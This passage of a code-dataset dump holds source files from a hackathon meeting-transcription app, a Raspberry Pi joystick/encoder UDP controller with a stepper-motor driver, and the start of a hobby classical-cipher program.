print(response.get('error'))\n text = None\n storage['profile'].append('Error')\n storage['text'].append(text)\n\n return {'data': dict(storage)}\n\n\nif __name__ == '__main__':\n app.run(debug=True, threaded=True)" }, { "alpha_fraction": 0.5331814885139465, "alphanum_fraction": 0.5462414622306824, "avg_line_length": 26.672269821166992, "blob_id": "43ce6a0e783bdabd21dba98a48650e3fe2cec7cf", "content_id": "8d2c884d45874ae63f637934ab72ce42cbbb472e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6585, "license_type": "no_license", "max_line_length": 114, "num_lines": 238, "path": "/model/AudioReader.py", "repo_name": "deoxyribose/SAPhackathon2019AIClerk", "src_encoding": "UTF-8", "text": "from threading import Thread, Lock, Event\nimport pyaudio\nimport numpy as np\nimport time\nimport wave\nfrom collections import deque\n\nclass ThreadMicrophone(Thread):\n def __init__(self, rate=44100):\n Thread.__init__(self)\n self.chunksize = int(rate*0.05) # 50ms\n self.background_energy = []\n self.energy = deque(maxlen=int(rate*0.1)) # 100ms\n self.rate = rate\n self.p = pyaudio.PyAudio()\n self.default_info = self.p.get_default_input_device_info()\n self.channels = 1\n self.stream = self.p.open(format=pyaudio.paInt16,channels=self.channels,rate=rate,\n input=True)\n\n self.data = []\n self.speaker_present = False\n self.idle_counter = 0\n self.event = Event()\n self.kill_event = Event()\n self.lock = Lock()\n self.config = {'sample_width': self.p.get_sample_size(pyaudio.paInt16),\n 'rate':self.rate,\n 'channels':self.channels\n }\n\n\n def get_bytes(self):\n r = []\n if self.event.is_set():\n with self.lock:\n print('Reading')\n r, self.data[:] = self.data[:], []\n self.event.clear()\n return r\n\n\n def background_noise(self):\n print('Recording Background Noise')\n # Start with collecting background noise for 5 seconds\n for i in range(0, int(self.rate / self.chunksize * 5)):\n chunk = np.fromstring(self.stream.read(self.chunksize), dtype=np.int16)\n energy = np.linalg.norm(chunk, axis=0) ** 2\n self.background_energy.append(energy)\n\n print('Done with background noise')\n\n def run(self):\n if self.background_energy:\n while True:\n time.sleep(0.000001)\n # If we need to stop\n if not self.kill_event.is_set():\n # If a recording is ready dont do it\n if not self.event.is_set():\n with self.lock:\n chunk_string = self.stream.read(self.chunksize)\n chunk = np.fromstring(chunk_string,dtype=np.int16)\n energy = np.linalg.norm(chunk, axis=0) ** 2\n self.energy.append(energy)\n # Is a speaker present\n if energy > (np.mean(self.background_energy)+np.std(self.background_energy)):\n self.idle_counter = 0\n self.speaker_present = True\n print('I hear you')\n else:\n self.idle_counter += 1\n\n # Has the speaker ended\n if (self.idle_counter > 0) & ((self.idle_counter % 10) == 0) & (self.speaker_present):\n self.speaker_present = False\n print('Speak Ended')\n self.event.set()\n # Append data if speaker is talking\n if self.speaker_present:\n self.data.append({'data_string':chunk_string,'data':chunk})\n\n else:\n print('Breaking')\n # Clean up\n self.stream.stop_stream()\n self.stream.close()\n self.p.terminate()\n break\n\n else:\n print('Calculate background noise first')\n\n def stop(self):\n self.kill_event.set()\n\n\n\ndef save_aud(aud_string, filename, t):\n wf = wave.open(filename, 'wb')\n wf.setnchannels(1)\n wf.setsampwidth(t.p.get_sample_size(pyaudio.paInt16))\n wf.setframerate(t.rate)\n wf.writeframes(b''.join(aud_string))\n wf.close()\n\n'''\nimport pyaudio\nimport wave\nimport numpy as np\nCHUNK = 1024\nFORMAT = pyaudio.paInt16\nCHANNELS = 2\nRATE = 44100\nRECORD_SECONDS = 5\nWAVE_OUTPUT_FILENAME = \"outputnew.wav\"\n\np = pyaudio.PyAudio()\n\nstream = p.open(format=FORMAT,\n channels=CHANNELS,\n rate=RATE,\n input=True,\n frames_per_buffer=CHUNK)\n\nprint(\"* recording\")\n\nframes = []\n\nfor i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):\n data = stream.read(CHUNK)\n print(data)\n frames.append(data)\n\nprint(\"* done recording\")\n\nstream.stop_stream()\nstream.close()\np.terminate()\n\n\nwf = wave.open(WAVE_OUTPUT_FILENAME, 'wb')\nwf.setnchannels(CHANNELS)\nwf.setsampwidth(p.get_sample_size(FORMAT))\nwf.setframerate(RATE)\nwf.writeframes(b''.join(frames))\nwf.close()\n\n\n\n\nfrom AudioReader import ThreadMicrophone\nimport time\nfrom scipy.fftpack import fft\n\nt = ThreadMicrophone()\nt.start()\nfor i in range(10):\n chunk = t.get_bytes()\n \n \n\n\nimport pyaudio\nimport wave\nimport numpy as np\nfrom scipy.fftpack import fft\nfrom sklearn.preprocessing import StandardScaler\nFORMAT = pyaudio.paInt16\nCHANNELS = 2\nRATE = 44100\nCHUNK = RATE*3\nRECORD_SECONDS = 15\nWAVE_OUTPUT_FILENAME = \"outputnew.wav\"\np = pyaudio.PyAudio()\nstream = p.open(format=FORMAT,\n channels=CHANNELS,\n rate=RATE,\n input=True,\n frames_per_buffer=CHUNK)\nprint(\"* recording\")\nframes = []\nframes_ = []\nfor i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):\n data = stream.read(CHUNK)\n data_ = np.fromstring(data, dtype=np.int16)\n chunk = data_\n X = np.abs(fft(chunk))\n frames_.append(X)\n frames.append(data)\nprint(\"* done recording\")\nimport time\nprint(\"no sound!!\")\ntime.sleep(1)\nprint(\"* recording\")\nframes_no_sound = []\nframes_no_sound_ = []\nfor i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):\n data = stream.read(CHUNK)\n data_ = np.fromstring(data, dtype=np.int16)\n chunk = data_\n X = np.abs(fft(chunk))\n frames_no_sound_.append(X)\n frames_no_sound.append(data)\nprint(\"* done recording\")\nstream.stop_stream()\nstream.close()\np.terminate()\n \n \n\n\n\n \n \nfor a in frames_:\n print('\\n \\n \\n \\n')\n plt.plot(a)\n plt.show()\n chunk = a\n print(f'energy {np.linalg.norm(chunk,axis=0)**2}')\n X = np.abs(fft(chunk))\n SFM = np.exp(np.log(X).mean()) / (np.mean(X))\n print(SFM)\n print(np.sum(X))\nprint('switching to no sound')\nfor b in frames_no_sound_:\n print('\\n \\n \\n \\n')\n plt.plot(b)\n plt.show()\n chunk = b\n print(f'energy {np.linalg.norm(chunk, axis=0) ** 2}')\n X = np.abs(fft(chunk))\n SFM = np.exp(np.log(X).mean()) / (np.mean(X))\n print(SFM)\n print(np.sum(X))\n \n'''" }, { "alpha_fraction": 0.5607655644416809, "alphanum_fraction": 0.5607655644416809, "avg_line_length": 21.7391300201416, "blob_id": "6a5f82c98914042547212bb911247a5f165b3290", "content_id": "1962bfa9ec7608174ba2a4daffab9f7816ce8d6a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1045, "license_type": "no_license", "max_line_length": 69, "num_lines": 46, "path": "/model/aiclerk.py", "repo_name": "deoxyribose/SAPhackathon2019AIClerk", "src_encoding": "UTF-8", "text": "from AudioReader import ThreadMicrophone, save_aud\nimport numpy as np\n\n\n\nclass DummyModel():\n\n def __init__(self):\n self.names = ['Niels','Prayson','Eskil','Frans','Alex']\n\n def predict(self, X):\n return np.random.choice(self.names)\n\n\nclass AIClerk():\n\n def __init__(self):\n self.t = ThreadMicrophone()\n self.model = DummyModel()\n\n\n def estimate_background_noise(self):\n self.t.background_noise()\n\n def start(self):\n self.t.start()\n\n def stop(self):\n print('Stopping')\n self.t.stop()\n self.t.join()\n\n def get_data(self):\n data = self.t.get_bytes()\n res = {'person':'','audio':[], 'audio_config':self.t.config}\n if data:\n aud = np.concatenate([d['data'] for d in data])\n pred = self.model.predict(aud)\n res['audio'] = b''.join([d['data_string'] for d in data])\n res['person'] = pred\n\n return res\n\n\n def save_aud(self, data_string, filename):\n save_aud(data_string,filename,self.t)" }, { "alpha_fraction": 0.635367751121521, "alphanum_fraction": 0.6369327306747437, "avg_line_length": 25.625, "blob_id": "3706e6c2960d01099ffc3082c14b8dfc9a8460bc", "content_id": "253ba75605639ef1485b7cda58bbe7643a03880d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 639, "license_type": "no_license", "max_line_length": 57, "num_lines": 24, "path": "/Frontend/src/app/components/player/players.component.ts", "repo_name": "deoxyribose/SAPhackathon2019AIClerk", "src_encoding": "UTF-8", "text": "import { Component, OnInit, Input } from '@angular/core';\nimport { Player } from './player.class';\nimport { ApiService } from 'src/app/api.service';\n\n@Component({\n selector: 'app-players',\n templateUrl: './players.component.html',\n styleUrls: ['./players.component.css']\n})\nexport class PlayerComponent implements OnInit {\n players: Player[];\n constructor(private apiService: ApiService) {}\n\n ngOnInit() {\n this.apiService.players.subscribe(players => {\n if (players) {\n this.players = players;\n console.log('First player: ', players[2]);\n } else {\n console.log('No plauers');\n }\n });\n }\n}\n" }, { "alpha_fraction": 0.7411121129989624, "alphanum_fraction": 0.7411121129989624, "avg_line_length": 29.47222137451172, "blob_id": "0c4fa4b786e6c3e867099323ad1e1303b6a3c1a2", "content_id": "10400a2a4030c5d740c1876556ff018f3a17d1dc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 1097, "license_type": "no_license", "max_line_length": 80, "num_lines": 36, "path": "/Frontend/src/app/app.module.ts", "repo_name": "deoxyribose/SAPhackathon2019AIClerk", "src_encoding": "UTF-8", "text": "import { BrowserModule } from '@angular/platform-browser';\nimport { NgModule } from '@angular/core';\n\nimport { AppRoutingModule } from './app-routing.module';\nimport { AppComponent } from './app.component';\nimport { PlayerComponent } from './components/player/players.component';\n\nimport {\n MatCardModule,\n MatButtonModule,\n MatProgressBarModule\n} from '@angular/material';\nimport { FundamentalNgxModule, ImageModule, IconModule } from 'fundamental-ngx';\nimport { BrowserAnimationsModule } from '@angular/platform-browser/animations';\nimport { ScrollingModule } from '@angular/cdk/scrolling';\nimport { ApiService } from './api.service';\nimport { HttpClientModule } from '@angular/common/http';\n@NgModule({\n declarations: [AppComponent, PlayerComponent],\n imports: [\n BrowserModule,\n BrowserAnimationsModule,\n HttpClientModule,\n AppRoutingModule,\n MatCardModule,\n MatButtonModule,\n MatProgressBarModule,\n FundamentalNgxModule,\n ImageModule,\n ScrollingModule,\n IconModule\n ],\n providers: [ApiService],\n bootstrap: [AppComponent]\n})\nexport class AppModule {}\n" }, { "alpha_fraction": 0.6929134130477905, "alphanum_fraction": 0.6968504190444946, "avg_line_length": 18.538461685180664, "blob_id": "73ece1082e78e0f7af34020c3425618ff620facd", "content_id": "c04adf7ea41dfac541e6066c327733be0eb2a01f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 254, "license_type": "no_license", "max_line_length": 84, "num_lines": 13, "path": "/demo.py", "repo_name": "deoxyribose/SAPhackathon2019AIClerk", "src_encoding": "UTF-8", "text": "from vtt import VoiceToText\n\n\n\nresponse = VoiceToText.transcribe(audio_in='data/audios/try3.wav', language='en-US')\n\nif response.get('success'):\n text = response.get('transcribed')\nelse:\n # print(response.get('error'))\n text = None\n\nprint(text)\n" }, { "alpha_fraction": 0.7720364928245544, "alphanum_fraction": 0.7841945290565491, "avg_line_length": 17.27777862548828, "blob_id": "1819125b5b835bb7f4ea61668dfc2bb4b2a4633e", "content_id": "425c9f2ba0407ba56ea3f659a7c557350dd68142", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 329, "license_type": "no_license", "max_line_length": 83, "num_lines": 18, "path": "/README.md", "repo_name": "deoxyribose/SAPhackathon2019AIClerk", "src_encoding": "UTF-8", "text": "# SAPhackathon2019AIClerk\nA trancribing AI that records who said what at business meeting.\n\n# Requirements\n\n```bash\nconda create env -n transcriber -c conda-forge speechrecognition tensorflow fastapi\nconda activate transcriber\nconda install pyaudio\npip install uvicorn\n```\n\n# Running\n\n```bash\ncd app\nuvicorn app:app --reload\n```\n" }, { "alpha_fraction": 0.6217798590660095, "alphanum_fraction": 0.6217798590660095, "avg_line_length": 26.54838752746582, "blob_id": "fa4f95b24c18d3b4eb998a0a2c03adc96fa46470", "content_id": "7cc2ef99f67bbf732e4a9057350a72ac7b7c0648", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 854, "license_type": "no_license", "max_line_length": 68, "num_lines": 31, "path": "/vtt/VoiceToText.py", "repo_name": "deoxyribose/SAPhackathon2019AIClerk", "src_encoding": "UTF-8", "text": "import logging\nimport os\n\nimport speech_recognition as sr\n\n\ndef transcribe(audio_in=None, language='en-US'):\n \n r = sr.Recognizer()\n with sr.AudioFile(audio_in) as source:\n audio = r.record(source) \n\n # set up the response object\n response = {\n 'success': False,\n 'error': None,\n 'transcribed': None\n } \n\n # Try catch the voice\n try:\n response['transcribed'] = r.recognize_google(\n audio, language=language, key=None) # Here goes API Keys\n response['success'] = True\n except sr.UnknownValueError:\n response['error'] = 'Could not understand audio'\n logging.error('Audio Problems', exc_info=True)\n except sr.RequestError:\n response['error'] = 'API Issues. Connection Failure'\n logging.error('API Problems', exc_info=True) \n return response\n" } ]
11
huroy5518/project_group_17_pi
https://github.com/huroy5518/project_group_17_pi
d3099387aa6b15802086923232a91b6a782e8d6d
60237e75cf63680b21069d56590374418763a240
3d920a84d3b4f9f3d30746541e17b9c42bf9c3ae
refs/heads/master
2023-06-02T07:42:07.635692
2021-06-18T12:30:24
2021-06-18T12:30:24
377,881,025
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5621562004089355, "alphanum_fraction": 0.6083608269691467, "avg_line_length": 27.25, "blob_id": "1cf04e2b7f7cecae80f899e86f43085878bafeef", "content_id": "040b1e0500430412160a355bf32ae49e0ad8b230", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 909, "license_type": "no_license", "max_line_length": 80, "num_lines": 32, "path": "/socket_conn.py", "repo_name": "huroy5518/project_group_17_pi", "src_encoding": "UTF-8", "text": "import socket\nimport time\nfrom i2c_connect import STM\nfrom wheel import Wheel\nimport threading\n\nHOST = '192.168.199.2'\nPORT1 = 62221\nTARG = '192.168.199.1'\nPORT2 = 62222\n\nstm = STM(0x69)\nwheel = Wheel()\ndef transfer_wheel():\n with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:\n while True:\n rotate = wheel.getRotate()\n s.sendto(rotate.to_bytes(2, 'little', signed = True), (TARG, PORT1))\n\ndef transfer_pad():\n with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:\n while True:\n X = int(stm.getX())\n Y = int(stm.getY())\n s.sendto(X.to_bytes(2, 'little', signed = False), (TARG, PORT2))\n s.sendto(Y.to_bytes(2, 'little', signed = False), (TARG, PORT2))\n\nthreads = []\nif __name__ == '__main__':\n \n threading.Thread(target = transfer_wheel).start()\n threading.Thread(target = transfer_pad).start()\n \n" }, { "alpha_fraction": 0.5352112650871277, "alphanum_fraction": 0.587708055973053, "avg_line_length": 26.714284896850586, "blob_id": "4e8d6b084543f25303939b821bff4de3bcb5baf5", "content_id": "e2599d31588a307fa6e098b8b646f11d77234bff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 781, "license_type": "no_license", "max_line_length": 80, "num_lines": 28, "path": "/t.py", "repo_name": "huroy5518/project_group_17_pi", "src_encoding": "UTF-8", "text": "import socket\nimport time\nimport threading\n\nHOST = '192.168.199.2'\nPORT1 = 62221\nTARG = '192.168.199.1'\nPORT2 = 62222\n\ndef transfer_wheel():\n with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:\n while True:\n rotate = 1\n s.sendto(rotate.to_bytes(2, 'little', signed = True), (TARG, PORT1))\n\ndef transfer_pad():\n with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:\n while True:\n X = 3\n Y = 4\n s.sendto(X.to_bytes(2, 'little', signed = False), (TARG, PORT2))\n s.sendto(Y.to_bytes(2, 'little', signed = False), (TARG, PORT2))\n\nthreads = []\nif __name__ == '__main__':\n \n threading.Thread(target = transfer_pad).start()\n threading.Thread(target = transfer_wheel).start()\n \n" }, { "alpha_fraction": 0.6277372241020203, "alphanum_fraction": 0.7153284549713135, "avg_line_length": 16.125, "blob_id": "935e45c1db5b1526ee2fe2942ba9a05ef53115e3", "content_id": "c878a5d7f6f8f418b4d3567708d874a576d9e267", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 145, "license_type": "no_license", "max_line_length": 62, "num_lines": 8, "path": "/README.md", "repo_name": "huroy5518/project_group_17_pi", "src_encoding": "UTF-8", "text": "# project_group_17\n欠暘典130s的project\n```\ngit clone https://github.com/huroy5518/project_group_17_pi.git\n```\n```\npython3 socket_conn.py\n```\n" }, { "alpha_fraction": 0.5463347434997559, "alphanum_fraction": 0.5573997497558594, "avg_line_length": 23.066667556762695, "blob_id": "fc273358ebfd2d0135df16536dbe17a3b13253dc", "content_id": "77ec48bb98900897ec6f7b19fd32d7d7e5c124fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 723, "license_type": "no_license", "max_line_length": 49, "num_lines": 30, "path": "/wheel.py", "repo_name": "huroy5518/project_group_17_pi", "src_encoding": "UTF-8", "text": "import RPi.GPIO as GPIO\nimport time\n\nRoAPin = 11\nRoBPin = 13\n\nglobalCounter = 0\n\nclass Wheel:\n def __init__(self):\n GPIO.setmode(GPIO.BOARD)\n GPIO.setup(RoAPin, GPIO.IN)\n GPIO.setup(RoBPin, GPIO.IN)\n self.aLastState = GPIO.LOW\n self.aState = GPIO.LOW\n self.counter = 0\n def getRotate(self):\n self.aState = GPIO.input(RoAPin)\n if self.aState != self.aLastState:\n if GPIO.input(RoBPin) != self.aState:\n self.counter += 1\n else:\n self.counter -= 1\n self.aLastState = self.aState\n return self.counter\n\nif __name__ == '__main__':\n wheel = Wheel()\n while True:\n print(wheel.getRotate())\n\n" }, { "alpha_fraction": 0.4958775043487549, "alphanum_fraction": 0.5300353169441223, "avg_line_length": 23.97058868408203, "blob_id": "3a982e3b1178addc614a555e8dc0246ccb787ce4", "content_id": "71e1d9b67d404406bf34c2e33853e6eeadfcb2b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 849, "license_type": "no_license", "max_line_length": 46, "num_lines": 34, "path": "/motor.py", "repo_name": "huroy5518/project_group_17_pi", "src_encoding": "UTF-8", "text": "import RPi.GPIO as GPIO\nimport time\n\nPOSPIN = 40\nENAPIN = 36\nDIRPIN = 38\n\nclass Motor:\n def __init__(self):\n GPIO.setmode(GPIO.BOARD)\n GPIO.setup(POSPIN, GPIO.OUT)\n GPIO.setup(ENAPIN, GPIO.OUT)\n GPIO.setup(DIRPIN, GPIO.OUT)\n def setRotate(self, steps):\n GPIO.output(ENAPIN, GPIO.LOW)\n GPIO.output(DIRPIN, GPIO.HIGH)\n counter = 0\n try:\n while True: \n GPIO.output(POSPIN, GPIO.HIGH)\n time.sleep(0.001)\n print(\"hello1\")\n GPIO.output(POSPIN,GPIO.LOW)\n time.sleep(0.001)\n counter += 1\n except KeyboardInterrupt:\n print(\"hello\")\n GPIO.cleanup()\n\nif __name__ == '__main__':\n motor = Motor()\n motor.setRotate(1000000000)\n time.sleep(10)\n GPIO.cleanup()\n" }, { "alpha_fraction": 0.542462170124054, "alphanum_fraction": 0.5668202638626099, "avg_line_length": 26.600000381469727, "blob_id": "6c85b33ef1c2f61cf2d6049ad786f224582d7574", "content_id": "7985f2f687ffc94ba4ba24937fd6c2b4d4e4b469", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1519, "license_type": "no_license", "max_line_length": 67, "num_lines": 55, "path": "/i2c_connect.py", "repo_name": "huroy5518/project_group_17_pi", "src_encoding": "UTF-8", "text": "import smbus\nimport time\nfrom math import *\n\ndeviceAddress = 0x69\n\nbus = smbus.SMBus(1); \n\nx_byte_L = 0x69\nx_byte_R = 0x70\ny_byte_L = 0x87\ny_byte_R = 0x88\nSW_byte = 0x86\n\nclass IIC():\n def __init__(self, ADDRESS):\n self.ADDRESS = ADDRESS\n def write(self, adr, value):\n bus.write_byte_data(self.ADDRESS, adr, value)\n def read(self, adr):\n return bus.read_byte_data(self.ADDRESS, adr)\n \nclass STM():\n def __init__(self, ADDRESS):\n self.ADDRESS = ADDRESS\n self.norm_x = 0\n self.norm_y = 0\n def write(self, adr, value):\n bus.write_byte_data(self.ADDRESS, adr, value)\n def read(self, adr):\n return bus.read_byte_data(self.ADDRESS, adr)\n def getRawX(self):\n return self.read(x_byte_L) << 8 | self.read(x_byte_R)\n def getRawY(self):\n return self.read(y_byte_L) << 8 | self.read(y_byte_R)\n def getSW(self):\n return self.read(SW_byte)\n\n def getX(self):\n return (self.getRawX() - self.norm_x)\n def getY(self):\n return (self.getRawY() - self.norm_y)\n def calibrate(self):\n for i in range(1000):\n self.norm_x += self.getRawX()\n self.norm_y += self.getRawY()\n self.norm_x = self.norm_x / 1000\n self.norm_y = self.norm_y / 1000\n\nif __name__ == '__main__':\n tmp = STM(deviceAddress)\n while True:\n val_x, val_y, val_SW = tmp.getX(), tmp.getY(), tmp.getSW() \n print('x:%d, y:%d, sw:%d\\n' % (val_x, val_y, val_SW))\n time.sleep(0.1) \n" } ]
6
amit-s19/Project-Sipher
https://github.com/amit-s19/Project-Sipher
3dec9a2b49e82693b48af9934d47f1d85400a3d5
e29a4e25ef8374e013ee2be4ea015ac322d94f9a
95863ce7befb59090552f11156be72467d76d4b8
refs/heads/master
2021-10-23T11:54:39.938789
2019-03-17T10:33:46
2019-03-17T10:33:46
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4456290006637573, "alphanum_fraction": 0.45255863666534424, "avg_line_length": 36.948097229003906, "blob_id": "cc15eb72841f1a96a3c87edd09a0a12c671c5657", "content_id": "1a3cf48db086748ec6ed650865ece72b36cd0f1c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11256, "license_type": "no_license", "max_line_length": 119, "num_lines": 289, "path": "/ciphers.py", "repo_name": "amit-s19/Project-Sipher", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python3\r\n\r\n''' Project Sipher '''\r\n\r\nimport math\r\nimport string\r\nimport random\r\nfrom Crypto.Util.number import isPrime\r\nfrom cipher_sub_routines import CipherSubRoutine\r\nfrom cipher_sub_routines import single_cipher_dispatch\r\n\r\n@single_cipher_dispatch\r\ndef get_cipher_func(cipher):\r\n return KeyError('No Such Cipher Exists!!!')\r\n\r\ndef safe_run(func):\r\n ''' A decorator sub-routine for handling exceptions '''\r\n def decorated_function(*args, **kwargs):\r\n while True:\r\n try:\r\n return func(*args, **kwargs)\r\n except KeyError or TypeError:\r\n print(f'{CipherSubRoutine.exceptions[func.__name__]}!!!\\n')\r\n except ValueError:\r\n print('Invalid Literal!!!\\n')\r\n else:\r\n break\r\n return decorated_function\r\n\r\nclass Cipher(CipherSubRoutine):\r\n ''' Class for performing the cipher methods on a given text '''\r\n\r\n # Cipher Constructor for taking input of text and passing it to CipherSubRoutine Constructor.\r\n def __init__(self):\r\n self._text = input('\\nEnter the text: ').lower()\r\n self._length = len(self._text)\r\n super().__init__(self._text, self._length)\r\n \r\n #---------------------------- Properties (Getters and Setters) --------------------------------\r\n @property\r\n def text(self):\r\n return self._text\r\n \r\n @text.setter\r\n def text(self, _):\r\n print('\\nWarning... Inititalised text is not meant to be changed manually!!!\\n')\r\n\r\n @property\r\n def length(self):\r\n return self._length\r\n\r\n @length.setter\r\n def length(self, _):\r\n print('\\nWarning... Internally Calculated length is not meant to be changed manually!!!\\n')\r\n\r\n #---------------------------- Main Methods ----------------------------------------------------\r\n def _primary_cipher_routine(self, mode):\r\n ''' primary cipher routine for applying the cipher algorithm with the defined mode legally '''\r\n cipher_menu = {}\r\n print('\\n\\nCipher list:')\r\n for n, fn_name in enumerate(get_cipher_func.registry.keys(), 1):\r\n if n != 1:\r\n print(f'{n-1}. {fn_name}')\r\n cipher_menu[n-1] = fn_name\r\n\r\n choice = int(input('\\nEnter Your Choice: '))\r\n print(f'\\nThe {mode}d string is:', get_cipher_func(cipher_menu[1])(self) if choice == 1 \\\r\n else get_cipher_func(cipher_menu[choice])(self, mode))\r\n\r\n def encode(self):\r\n ''' Encode-Routine for Encoding the plaintext into ciphertext '''\r\n self._primary_cipher_routine('encode')\r\n\r\n def decode(self):\r\n ''' Decode-Routine for Decoding the ciphertext into plaintext '''\r\n self._primary_cipher_routine('decode')\r\n\r\n def hack(self):\r\n ''' Hack-Routine for Hacking the ciphertext without key(s) into plaintext '''\r\n pass\r\n\r\n #---------------------------- Primary Cipher Routines -----------------------------------------\r\n @get_cipher_func.register('Reverse Cipher')\r\n def _reverse_cipher(self):\r\n ''' Cipher Routine to encode into or decode from Reverse Cipher '''\r\n return self.text[::-1]\r\n\r\n @get_cipher_func.register('Caesar Cipher')\r\n @safe_run\r\n def _caesar_cipher(self, mode):\r\n ''' Cipher Routine to encode into or decode from Caesar Cipher '''\r\n key = int(input('(integer >0 and not a multiple of 26)\\nEnter the key: '))\r\n if key < 1 or key%26 == 0:\r\n raise KeyError\r\n if mode == 'encode':\r\n return self._caesar_sub_routine(key)\r\n else:\r\n return self._caesar_sub_routine(26-key)\r\n\r\n @get_cipher_func.register('Transposition Cipher')\r\n @safe_run\r\n def _transposition_cipher(self, mode):\r\n ''' Cipher Routine to encode into or decode form Transposition Cipher '''\r\n key = int(input(f'(integer >2 and < {self.length})\\nEnter the key: '))\r\n if (key < 2) or (key >= self.length):\r\n raise KeyError\r\n return self._transposition_sub_routine(key, mode)\r\n\r\n @get_cipher_func.register('Affine Cipher')\r\n @safe_run\r\n def _affine_cipher(self, mode):\r\n ''' Cipher Routine to encode into or decode from Affine Cipher '''\r\n key_a = key_b = 0\r\n\r\n if mode == 'encode':\r\n while True:\r\n choice = input(\"Enter key Automatically/Manually [A/m]: \")\r\n\r\n if choice == 'A' or choice == 'a' or choice == '':\r\n while True:\r\n key_a = random.randint(1, 10**5)\r\n if math.gcd(key_a, 26) == 1 :\r\n break\r\n key_b = random.randint(1, 10**5)\r\n break\r\n\r\n elif choice == 'm' or choice == 'M':\r\n n = int(input('Range 1 to n from which a valid key is choosen\\nEnter n'\r\n '(should be greater than 1): '))\r\n if n < 2:\r\n raise KeyError\r\n keys_a = []\r\n for i in range(1, n):\r\n if math.gcd(i,26) == 1 :\r\n print(i, end = ' ')\r\n keys_a.append(i)\r\n key_a = int(input('\\nEnter key-a: '))\r\n if key_a not in keys_a:\r\n raise KeyError\r\n key_b = int(input('Enter key-b: '))\r\n if key_b < 0:\r\n raise KeyError\r\n break\r\n\r\n else:\r\n print('Invalid Choice!!!')\r\n\r\n print(f'\\nkey-a = {key_a}\\nkey-b = {key_b}')\r\n\r\n else:\r\n key_a = int(input('\\n(integer >1 and should be co-prime with 26)\\nEnter the key-a: '))\r\n if key_a < 2 or math.gcd(key_a, 26) != 1:\r\n raise KeyError\r\n key_b = int(input('(positive integer)\\nEnter the key-b: '))\r\n if key_b < 0:\r\n raise KeyError\r\n\r\n return self._affine_sub_routine((key_a, key_b), mode)\r\n\r\n @get_cipher_func.register('Vignere Cipher')\r\n @safe_run\r\n def _vigenere_cipher(self, mode):\r\n ''' Cipher Routine to encode into or decode from Vigenere Cipher '''\r\n key = input(f'(alphabets only and length of key should be >0 and <{self.length})\\nEnter the key: ')\r\n if any(char.isdigit() for char in key) or len(key) > self.length:\r\n raise KeyError\r\n key = list(key)\r\n if self._length != len(key):\r\n for i in range(self.length - len(key)):\r\n key.append(key[i % len(key)])\r\n return self._vigenere_otp_sub_routine(key, mode)\r\n\r\n @get_cipher_func.register('Otp Cipher')\r\n @safe_run\r\n def _otp_cipher(self, mode):\r\n ''' Cipher Routine to encode into or decode from One Time Pad Cipher '''\r\n if mode == 'encode':\r\n while True:\r\n choice = input('Enter key Automatically/Manually [A/m]: ')\r\n if choice in ('A', 'a', ''):\r\n key = ''.join(random.choice(string.ascii_letters).lower() for _ in self.text)\r\n print('Encryption key is:', key)\r\n break\r\n elif choice in ('M', 'm'):\r\n key = input(f'\\n(alphabets only and length of key should be = {self.length})\\nEnter the key: ')\r\n if len(key) != self.length or any(not ch.isalpha() for ch in key):\r\n raise KeyError\r\n break\r\n else:\r\n print('Invalid Choice!!!')\r\n else:\r\n key = input(f'(alphabets only and length of key should be = {self.length})\\nEnter the key: ')\r\n if len(key) != self.length or any(not ch.isalpha() for ch in key):\r\n raise KeyError\r\n return self._vigenere_otp_sub_routine(key, mode)\r\n\r\n @get_cipher_func.register('RSA Cipher')\r\n def _rsa_cipher(self, mode):\r\n ''' Cipher Routine to encode into or decode from RSA Cipher '''\r\n if mode == 'encode':\r\n while True:\r\n choice = input('Enter key Automatically [A/m]: ')\r\n if choice in ('A', 'a', ''):\r\n primes = [i for i in range(1000, 100000) if isPrime(i)]\r\n p = random.choice(primes)\r\n primes.remove(p)\r\n q = random.choice(primes)\r\n print('P = {} and Q = {}'.format(p, q))\r\n break\r\n\r\n elif choice in ('M', 'm'):\r\n #print(\"Enter range min and max :\")\r\n range_min, range_max = int(input(\"Enter min range :\")), int(input(\"Enter max range :\"))\r\n primes = [i for i in range(range_min, range_max) if isPrime(i)]\r\n print(primes)\r\n p,q = int(input(\"Enter p:\")), int(input(\"Enter q:\"))\r\n print(p, q)\r\n break\r\n else :\r\n break\r\n\r\n n = p*q\r\n phi = (p-1)*(q-1)\r\n e = 2\r\n while(e < phi):\r\n if math.gcd(e, phi) == 1 :\r\n break\r\n else :\r\n e += 1\r\n return self._rsa_sub_routine(e, n, 'encode')\r\n\r\n if mode == 'decode' :\r\n p, q, e = int(input('Enter key public key p:')), int(input('Enter public key q:')), int(input('Enter e :'))\r\n n = p*q\r\n phi = (p-1)*(q-1)\r\n d = (1 + (2*phi))/e\r\n return self._rsa_sub_routine(d, n, 'decode')\r\n\r\ndef main():\r\n ''' Main Driver Program '''\r\n\r\n print('''\r\n _/_/_/ 